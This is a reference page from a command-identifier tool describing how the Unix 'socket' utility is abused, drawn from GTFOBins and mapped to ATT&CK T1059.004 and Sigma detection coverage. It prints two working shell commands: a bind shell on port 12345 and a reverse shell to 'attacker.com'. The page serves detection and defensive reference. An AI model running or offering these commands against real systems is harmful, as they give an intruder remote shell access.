Ceplin Command Identifier

Identifier / Programs / Linux and Unix

socket

GTFOBins bind-shell, reverse-shell 1 ATT&CK technique 2 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How socket is abused

documented by GTFOBins

bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-svp
-i

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-qvp
-i

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for socket.

2 documented commands

from GTFOBins, each read by the identifier

bind-shell unprivileged, with sudo, as SUID

socket -svp '/bin/sh -i' 12345
Identify

reverse-shell unprivileged, with sudo, as SUID

socket -qvp '/bin/sh -i' attacker.com 12345
Identify

None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for socket. The identifier reads the line of each that runs socket.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Other programs abused for bind-shell

go · lua · nc · node · socat